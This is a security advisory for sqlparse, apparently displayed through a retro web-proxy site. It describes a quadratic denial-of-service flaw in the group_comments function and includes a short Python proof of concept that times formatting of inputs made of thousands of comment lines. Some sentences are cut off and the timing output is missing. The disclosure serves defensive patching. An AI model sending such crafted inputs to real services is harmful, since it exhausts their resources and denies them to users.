GeezerVisonThe World Wide Web, restored to 800 pixels of glory. |
| Home|About|Gaming cabinet|Archives|How it works|Starter sites |
GeezerVison is showing github.com — Quadratic O(n²) DoS in group_comments Quadratic O(n²) DoS in group_comments
Moderate
DescriptionSummaryA comment-only statement ( DetailsLocation: sqlparse/engine/grouping.py:331-341 ( A statement made of many single-line comments ( def group_comments(tlist): tidx, token = tlist.token_next_by(t=T.Comment) while token: eidx, end = tlist.token_not_matching( lambda tk: imt(tk, t=T.Comment) or tk.is_newline, idx=tidx) ... tidx, token = tlist.token_next_by(t=T.Comment, idx=tidx) The Two following factors increase the severity:
PoCTested using Python 3.14: import time, sqlparse for n in (1000, 2000, 4000): s = "-- c\n" * n t = time.perf_counter() sqlparse.format(s, strip_comments=True) print(f"n={n:5d} format(strip_comments)={1000*(time.perf_counter()-t):7.1f} ms") Output: Time increase of ~4× per 2× input (quadratic). ImpactDenial of Service Severity
Moderate
CVE ID
CVE-2026-71491
WeaknessesWeakness CWE-400Uncontrolled Resource ConsumptionThe product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.Credits
|
| You are visitor 01402520 — GeezerVison does not store the pages you look up. Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required. |